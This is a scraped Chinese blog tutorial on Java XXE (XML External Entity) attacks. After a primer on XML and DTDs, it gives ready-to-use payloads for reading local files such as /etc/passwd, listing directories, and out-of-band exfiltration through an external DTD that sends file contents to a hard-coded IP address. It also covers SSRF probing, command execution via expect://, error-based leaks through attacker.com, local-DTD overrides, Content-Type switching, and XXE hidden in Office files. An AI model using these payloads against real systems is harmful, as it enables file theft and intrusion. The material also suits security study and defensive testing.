当前位置: 首页 > article >正文

JAVA XXE 学习总结

 视频教程在我主页简介或专栏里

 

目录:

JAVA XXE 学习总结

 XML 基础

 XXE 原理介绍

 XXE 攻击

  任意文件读取

  OOB XXE

  SSRF

  RCE

  基于报错回显

  利用本地 DTD 来利用盲目 XXE

  通过修改内容类型进行 XXE 攻击

  Excel文件导致XXE

 

JAVA XXE 学习总结

XML 基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

<!--XML申明--><?xml version="1.0"?> <!--文档类型定义--><!DOCTYPE note [ <!--定义此文档是 note 类型的文档--><!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素--><!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型--><!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型--><!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型--><!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->]><!--文档元素--><note><to>Dave</to><from>Tom</from><head>Reminder</head><body>You are a good man</body></note>

xxe漏洞只与DTD文档类型定义有关,下面开始只需要关注DTD即可。

DTD

DTD 用于定义 XML 文档格式的一种规范,它声明了 XML 文档中允许的元素、属性、层级结构,确保 XML 文档格式正确性。

DTD 又分为外部 DTD 和内部 DTD,

    内部 DTD:直接嵌套在 XML 文档内部。

    外部 DTD:储存在单独文档中,通过声明引用。

内部 DTD demo

<?xml version="1.0"?><!DOCTYPE note [ <!ELEMENT note (to, from, heading, body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>]><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>

外部 DTD demo

<!ELEMENT note (to, from, heading, body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通过文档声明引用,​​​​​​

<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note> <to>John</to> <from>Jane</from> <heading>Reminder</heading> <body>Don't forget our meeting at 3 PM!</body></note>

java 中的 xxe 漏洞主要出现在外部 DTD 中。接下来主要只关注外部 DTD。

因为引用外部 DTD 可以使用 SYSTEM 或 PUBLIC 标志符,语法和含义不同,不过都可以在XXE攻击中使用。

SYSTEM 定义

<!DOCTYPE name SYSTEM "address.dtd" [...]>

system 属性可以是 dtd 也可以是 url 链接,

PUBLIC 定义

<!DOCTYPE name PUBLIC "any text" "http://evil.com/evil.dtd">

XXE 原理介绍

XXE 全称是XML External Entity Injection,这里的 entity(实体) 就是 DTD body 中的一部分,然后这个 entity 也可以跟进位置分为 internal entity/external entity,

一般使用的就是外部实体,实列

<!ENTITY name SYSTEM "URI/URL">

实体还可以分为参数实体,其可以通过 % 或 & 进行引用,正是因为这些条件才使得我们能够进行实体注入。

XXE 攻击

不同平台支持的 xxe 协议

libxml2

PHP

Java

.NET

file

file

file

file

http

http

https

http

ftp

ftp

ftp

https

php

file

ftp

compress.zlib

jar

compress.bzip2

netdoc

data

mailto

glob

gopher*

phar

任意文件读取

DOMXML

package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML {  public static void main(String[] args) {  try {  DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();  DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();  Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");  String textContent = document.getDocumentElement().getTextContent();  System.out.println(textContent);  } catch (Exception e) {  e.printStackTrace();  }  } }

test.xml

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [  <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/flag.txt">  ]> <root>&xxe;</root>

java 中 file 协议还有列目录的功能(php 中则不行)

<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE file [  <!ENTITY xxe SYSTEM "file://D:/JavaLearn/test/src/main/java/">  ]> <root>&xxe;</root>

netdoc 协议和 file 协议功能一样

OOB XXE

用于没有回显进行外带数据,

DOMXML​​​​​​​

package org.example; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import org.w3c.dom.Document; public class DOMXML {  public static void main(String[] args) {  try {  DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance();  DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder();  Document document = documentBuilder.parse("D:\\JavaLearn\\test\\src\\main\\java\\test.xml");  String textContent = document.getDocumentElement().getTextContent();  System.out.println(textContent);  } catch (Exception e) {  e.printStackTrace();  }  } }

test.dtd​​​​​​​

<!ENTITY % file SYSTEM "./flag.txt"> <!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">

test.xml​​​​​​​

<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xdsec[  <!ENTITY % include SYSTEM "./test.dtd" >  %include;  %define_http;%send_http;  ]> <books></books>

这里最关键的是 dtd 中的第二句话,只有这样才能成功解析到 %file 内容,% 就是%的实体编码,防止冲突报错,而且只有外部 dtd 文件才允许实体里面套实体

<!ENTITY % define_http "<!ENTITY % send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">

或者​​​​​​​

<!ENTITY % define_http "<!ENTITY send_http SYSTEM 'http://106.53.212.184:6666/%file;'>">%define_http;然后利用&send_http;去引用

SSRF

可以探测内网端口或主机存活情况,同样可以用于 dnslog 验证。​​​​​​​

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://192.168.116.1:90/" >]><xxe>&url;</xxe>

RCE

expect:// 是一些配置不当导致的命令执行协议,如果目标内部的PHP环境中安装了expect扩展,并且该扩展被加载到了处理XML的内部应用程序上,就可以利用expect来执行系统命令。

Expect扩展是一个用于自动化交互的套件,它可以在执行命令和程序时,模拟用户输入指定的字符串,以实现交互通信。如果能够成功利用这个扩展。​​​​​​​

<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [  <!ENTITY url SYSTEM "expect://whoami" >  ]> <xxe>&url;</xxe>

基于报错回显

感觉利用面不是很大,一般 java 的报错是看不到的,有点像 python 的报错回显,需要特定条件才行。

test.xml​​​​​​​

<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % ext SYSTEM "http://attacker.com/test.dtd"> %ext;]><message></message>

test.dtd​​​​​​​

<!ENTITY % file SYSTEM "./flag.txt"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">%eval;%error;

利用本地 DTD 来利用盲目 XXE

看了上面的 oob xxe 已经知道内部 dtd 不允许直接把实体放入另一个实体中,这种操作只有在外部实体中才不会报错。但又需要这样才能二次解析获得 %file 的内容。

那么如果存在防火墙,不允许直接引入 http://example/test.dtd 又该怎么办呢,参考 Arseniy Sharoglazov 师傅的文章可以知道还可以利用本地 dtd 进行覆盖攻击。

比如本地存在 test.dtd:​​​​​​​

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"><!ELEMENT pattern (%condition;)>

那么可以构建 payload​​​​​​​

<?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file://test.dtd"> <!ENTITY % condition 'aaa)> <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; <!ELEMENT aa (bb'> %local_dtd;]><message>any text</message>

重新定义了 condition 参数的值会进行覆盖​​​​​​​

'aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb'

类比原本的 dtd 变为​​​​​​​

<!ENTITY % condition "aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb"><!ELEMENT pattern (aaa)><!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;<!ELEMENT aa (bb)>

这样也能成功实现 xxe 报错回显,至于本地的 dtd 文件就搜集一些默认路径的进行爆破得到。

通过修改内容类型进行 XXE 攻击

正常的 post 请求​​​​​​​

POST /action HTTP/1.0Content-Type: application/x-www-form-urlencodedContent-Length: 7
foo=bar

有些网站也支持 xml 格式,如 SOAP 协议网站,那么就可以等同于​​​​​​​

POST /action HTTP/1.0Content-Type: application/xmlContent-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果存在就可以进行 xxe 攻击​​​​​​​

POST /action HTTP/1.1 Content-Type: application/xml Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root></root><search>name</search><value>&xxe;</value> </root>

Excel文件导致XXE

excel 文件本质就是 XML 文档的 zip 文件,这里创建一个 docx 文件然后进行解压

看到是存在 xml 文件,并且也是会用 xml 解析器进行解析的。然后将其中的内容替换为 xxe 注入代码即可​​​​​​​

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxe [<!ENTITY url SYSTEM "http://DNSLOG/" >]><xxe>&url;</xxe>

当然这种是只有老版本的 xml 解析器才会有的洞了。

 

 视频教程在我主页简介或专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关

 


http://www.kler.cn/a/472712.html

相关文章:

  • 记录一次MySQL:caching_sha2_password报错
  • Agent | Dify中的两种可选模式
  • Leecode刷题C语言之字符串中最大的3位相同数字
  • UE 5.3 C++ 管理POI 如何对WidgetComponent 屏幕模式进行点击
  • 在JavaScript开发中,如何判断对象自身为空?
  • 自动驾驶控制与规划——Project 6: A* Route Planning
  • C 语言奇幻之旅 - 第16篇:C 语言项目实战
  • 安装 华三云实验室 H3C Cloud Lab
  • Android Studio 安装配置(个人笔记)
  • 【杂记】机器视觉 #opencv #numpy #matplotlib
  • 自闭症家庭:建立支持系统与平衡生活
  • QML学习(九) Qt Quick - Control2中的主要组件:Label组件和Button组件的属性和使用方法
  • 机器学习模型评估指标
  • 页面转 PDF 功能的实现思路与使用方法
  • 【算法】八大排序算法
  • PostgreSQL 插件的事务回调机制
  • 怎么把word试题转成excel?
  • 在windows系统上安装docker并自定义安装和数据存储位置
  • No Homebrew ruby 2.6.3_2 available for arm64 processors!
  • 微软Office存在的意义是什么?
  • 【深度学习量化交易12】基于miniQMT的量化交易框架总体构建思路——回测、模拟、实盘通吃的系统架构
  • 显示器太薄怎么用屏幕挂灯?2025最新屏幕挂灯什么牌子好
  • 如何在 LobeChat 中使用 Ollama
  • 《网络安全里的Linux基础:构建安全网络的关键基石》
  • Python爬虫基础——数据清洗
  • python虚拟环境的使用